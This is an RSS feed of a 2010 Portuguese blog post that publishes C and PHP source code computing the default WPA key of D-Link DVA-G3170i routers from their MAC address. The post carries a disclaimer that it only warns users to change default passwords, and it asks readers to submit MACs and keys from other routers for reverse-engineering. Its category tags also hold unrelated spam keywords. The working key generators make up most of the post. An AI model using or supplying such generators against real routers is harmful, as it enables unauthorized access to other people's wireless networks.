<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Fodi.me MEO Passwords &#187; dlink</title>
	<atom:link href="http://fodi.me/tag/dlink/feed/" rel="self" type="application/rss+xml" />
	<link>http://fodi.me</link>
	<description>dlink and meo passwords</description>
	<lastBuildDate>Mon, 21 May 2012 19:38:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Código fonte WPA DLink (PHP,C)</title>
		<link>http://fodi.me/codigo-fonte-wpa-dlink-php-c/</link>
		<comments>http://fodi.me/codigo-fonte-wpa-dlink-php-c/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 23:20:35 +0000</pubDate>
		<dc:creator>OBH</dc:creator>
				<category><![CDATA[Cinema]]></category>
		<category><![CDATA[Dinheiro]]></category>
		<category><![CDATA[Geral]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[acne problems]]></category>
		<category><![CDATA[buy]]></category>
		<category><![CDATA[dlink]]></category>
		<category><![CDATA[drug rehab]]></category>
		<category><![CDATA[mesothelioma]]></category>
		<category><![CDATA[reabilitação]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[sell]]></category>
		<category><![CDATA[structured settlement]]></category>
		<category><![CDATA[vioxx attorney]]></category>

		<guid isPermaLink="false">http://fodi.me/?p=576</guid>
		<description><![CDATA[Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink...
]]></description>
			<content:encoded><![CDATA[<p>Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu <img src='http://fodi.me/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a rel="attachment wp-att-586" href="http://178.63.50.194/~fodime/codigo-fonte-wpa-dlink-php-c/dva-g3170i-2/"><img class="alignleft size-thumbnail wp-image-586" title="DLink dva-g3170i" src="http://178.63.50.194/~fodime/wp-content/uploads/2010/03/dva-g3170i1-112x150.jpg" alt="" width="112" height="150" /></a>Aproveito o Post para relembrar que o objectivo do <strong>blog</strong> não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.</p>
<p>Relativamente a <strong>pedidos das chaves</strong> <strong>ZON</strong>, etc &#8230; teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.</p>
<p>Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:</p>
<p><span id="more-576"></span></p>
<p><strong>Em C by Xpt0niX</strong></p>
<pre lang="c" escaped="true">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;ctype.h&gt;

/*     0= X
 1= r
 2= q
 3= a
 4= H
 5= N
 6= p
 7= d
 8= S
 9= Y
 A= w
 B= 8
 C= 6
 D= 2
 E= 1
 F= 5

 Based on a MAC address:
 12  34  56  78  9a  bc

 Pattern of the mixing char must be:
 c1  b2  a3  94  85  76  27  9a  c3  5b

 The final Result for the WPA/SPK key is:
 6r 8q wa YH SN dp qd Yw 6a N8
*/

int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
 int i,j;

 if (mac==NULL) return 1;
 for (j=0,i=0;i&lt;17;i++)
 if (mac[i]!=':' &amp;&amp; mac[i]!='-' &amp;&amp; mac[i]!='.' &amp;&amp; mac[i]!='_')
 str[j++] = mac[i];
 return 0;
}

#ifdef IFX_MULTILIB_UTIL
#define main    wpakeygen_main
#endif

int main(int argc, char **argv)
{
 unsigned char mac[12],key[20],newkey[20];
 int i,j,index;
 char t;

 char hash[16] =  { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};

 if (argc !=2 )
 {
 printf("Usage: wpakeygen {MAC}\n");
 printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
 return 0;
 }

 Alpha_MACString_Remove_Separator(argv[1], mac);
 key[0]=mac[11];
 key[1]=mac[0];

 key[2]=mac[10];
 key[3]=mac[1];

 key[4]=mac[9];
 key[5]=mac[2];

 key[6]=mac[8];
 key[7]=mac[3];

 key[8]=mac[7];
 key[9]=mac[4];

 key[10]=mac[6];
 key[11]=mac[5];

 key[12]=mac[1];
 key[13]=mac[6];

 key[14]=mac[8];
 key[15]=mac[9];

 key[16]=mac[11];
 key[17]=mac[2];

 key[18]=mac[4];
 key[19]=mac[10];

 //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);

 for (i=0;i&lt;20;i++)
 {
 t=key[i];
 if ((t &gt;= '0') &amp;&amp; (t &lt;= '9'))
 index = t-'0';
 else
 {
 t=toupper(t);
 if ((t &gt;= 'A') &amp;&amp; (t &lt;= 'F'))
 index = t-'A'+10;
 else return 1;
 }

 newkey[i]=hash[index];
 }

 printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);

 return 0;
}</pre>
<p><strong>Em PHP by NarG</strong></p>
<pre lang="php" escaped="true">&lt;?php
//
$mac = "123456780ABC";
echo gerador($mac);

function gerador($mac) {
 $key = "XXXXXXXXXXXXXXXXXXXX";
 for($i=0;$i&lt;strlen($mac);$i++) {

 switch ($i) {
 case 0:
 $key[1] = dicionario($mac[$i]);
 break;
 case 1:
 $key[3] = dicionario($mac[$i]);
 $key[12] = dicionario($mac[$i]);
 break;
 case 2:
 $key[5] = dicionario($mac[$i]);
 $key[17] = dicionario($mac[$i]);
 break;
 case 3:
 $key[7] = dicionario($mac[$i]);
 break;
 case 4:
 $key[9] = dicionario($mac[$i]);
 $key[18] = dicionario($mac[$i]);
 break;
 case 5:
 $key[11] = dicionario($mac[$i]);
 break;
 case 6:
 $key[10] = dicionario($mac[$i]);
 $key[13] = dicionario($mac[$i]);
 break;
 case 7:
 $key[8] = dicionario($mac[$i]);
 break;
 case 8:
 $key[6] = dicionario($mac[$i]);
 $key[14] = dicionario($mac[$i]);
 break;
 case 9:
 $key[15] = dicionario($mac[$i]);
 $key[4] = dicionario($mac[$i]);
 break;
 case 10:
 $key[2] = dicionario($mac[$i]);
 $key[19] = dicionario($mac[$i]);
 break;
 case 11:
 $key[0] = dicionario($mac[$i]);
 $key[16] = dicionario($mac[$i]);
 break;
 }
 }
 return $key;
}

function dicionario($letra) {
 $letra = strtoupper($letra);
 switch ($letra) {
 case "1":
 return "r";
 break;
 case "2":
 return "q";
 break;
 case "3":
 return "a";
 break;
 case "4":
 return "H";
 break;
 case "5":
 return "N";
 break;
 case "6":
 return "p";
 break;
 case "7":
 return "d";
 break;
 case "8":
 return "S";
 break;
 case "9":
 return "Y";
 break;
 case "0":
 return "X";
 break;
 case "A":
 return "w";
 break;
 case "B":
 return "8";
 break;
 case "C":
 return "6";
 break;
 case "D":
 return "2";
 break;
 case "E":
 return "1";
 break;
 case "F":
 return "5";
 break;
 default:
 return false;
 break;
 }
}

?&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://fodi.me/codigo-fonte-wpa-dlink-php-c/feed/</wfw:commentRss>
		<slash:comments>1159</slash:comments>
		</item>
	</channel>
</rss>

